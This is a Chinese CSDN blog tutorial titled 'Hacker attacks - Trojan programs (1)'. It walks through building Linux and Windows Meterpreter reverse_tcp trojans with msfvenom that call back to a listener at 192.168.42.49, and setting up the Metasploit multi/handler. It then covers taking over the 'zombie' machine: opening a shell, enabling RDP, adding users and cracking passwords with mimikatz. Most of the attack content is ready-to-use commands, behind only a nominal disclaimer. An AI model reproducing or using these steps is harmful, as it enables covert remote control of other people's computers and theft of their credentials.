黑客攻击-木马程序(1)

声明:禁止用作非法目的,谢绝一切形式的转载。

当你在无意间点击一个链接后,当你在不明情况安装一个程序时,当你忍不住点击一个美女图片的时候,你的设备可能就此沦陷了,成为了黑客眼中的"肉鸡"。

kali Linux

Kali Linux是基于Debian的Linux发行版, 设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。

Metersploit

Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程。团队合作,在Metasploit和综合报告提出了他们的发现。

Meterpreter

Meterpreter是 Metasploit 框架中的一个杀手锏,通常作为漏洞溢出后的攻击使用, 攻击触发发漏洞后能够返回给我们一个控制通道.

Linux攻击

生成木马

网络上有好多生成木马的方式,但是大多数都是相互copy,甚至有的还可能包含病毒,谨慎使用。网络上下载的所有软件都要慎用,除非是在官网上下载的。
生成一个使用于Lnux 64位系统的木马,生成木马的命令如下:

msfvenom -a x64 --platform linux  -p linux/x64/meterpreter/reverse_tcp  LHOST=192.168.42.49 LPORT=5555  -i 3 -f elf -o test

LHOST 代表Listening host。LPORT代表Listening port。后续介绍网络的时候会详细讲解。

翻译一下这个命令:平台Linux x64架构,使用payload是linux/x64/meterpreter/reverse_tcp,目标文件的格式是elf。可执行目标文件的名称是test。
通过上面的命令,我们就就可以生成一个elf格式的test程序,当在远端(也就是"肉鸡")执行这个程序的时候,如果本地开启了监听,肉鸡和本机之间就建立了一条通信的channel,通过这个木马就能实现控制远端的肉鸡了,邪恶的微笑。

开启监听

  1. 开启msf
msfconsole
  1. 加载模块
msf5 > use exploit/multi/handler 
  1. 设置payload
msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
  1. 设置监听ip
msf5 exploit(multi/handler) > set lhost 192.168..42.49
  1. 设置监听port
msf5 exploit(multi/handler) > set LPORT 5555
  1. 执行
msf5 exploit(multi/handler) > exploit

攻击效果

当执行完exploit之后,我们可以获得一个Meterpreter。通过这个meterpreter,可以查看肉鸡中的文件,进程等。
在这里插入图片描述可以开启一个shell,这样基本等同于完全操控目标计算机了。
在这里插入图片描述
在这里插入图片描述通过查看whoami可知正是当前登陆用户的帐号。如何提升权限,后续会介绍。

Windows攻击

生成木马

msfvenom -a x64 --platform windows  -p windows/x64/meterpreter/reverse_tcp  LHOST=192.168.42.49 LPORT=4444  -i 3 -f exe -o payload_test.exe

具体含义可参考上文。

开启监听

  1. 开启msf
msfconsole
  1. 加载模块
msf5 > use exploit/multi/handler 
  1. 设置payload
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
  1. 设置监听ip
msf5 exploit(multi/handler) > set lhost 192.168..42.49
  1. 设置监听port
msf5 exploit(multi/handler) > set LPORT 4444
  1. 执行
msf5 exploit(multi/handler) > exploit

攻击效果

当执行完exploit之后,我们可以获得一个Meterpreter。通过这个meterpreter,可以查看肉鸡中的文件,进程等。同Linux。
在这里插入图片描述查看那getuid是Administrator,管理员权限。在Windows下,这还不是最高的权限,最高的权限是system,至于如何提权,后续会讲解。

在这里插入图片描述开启一个shell,发现有乱码,这是由于Linux和Windows采用的编码方式不一致导致的。可以通过chcp 65001解决这个问题。

桌面截图

在这里插入图片描述

开启远程桌面

通过以下命令开启rdp服务

run post/windows/manager/enable_rdp

如图:
在这里插入图片描述

添加用户

在这里插入图片描述

帐号密码破解

使用minikatz进行密码破解
在这里插入图片描述

远程桌面

通过rdestop 目标ip -u 账户,可以实现远程桌面的控制。
在这里插入图片描述
在这里插入图片描述

公众号

了解更多网络安全内容,欢迎关注我的公众号:无情剑客
在这里插入图片描述

打赏
文章很值,打赏犒劳作者一下
相关推荐
©️2020 CSDN 皮肤主题: 编程工作室 设计师:CSDN官方博客 返回首页

打赏

无情剑客BurningTeng

你的鼓励是我创作最大的动力

¥2 ¥4 ¥6 ¥10 ¥20
输入1-500的整数
余额支付 (余额:-- )
扫码支付
扫码支付:¥2
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付 49.90元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、C币套餐、付费专栏及课程。

余额充值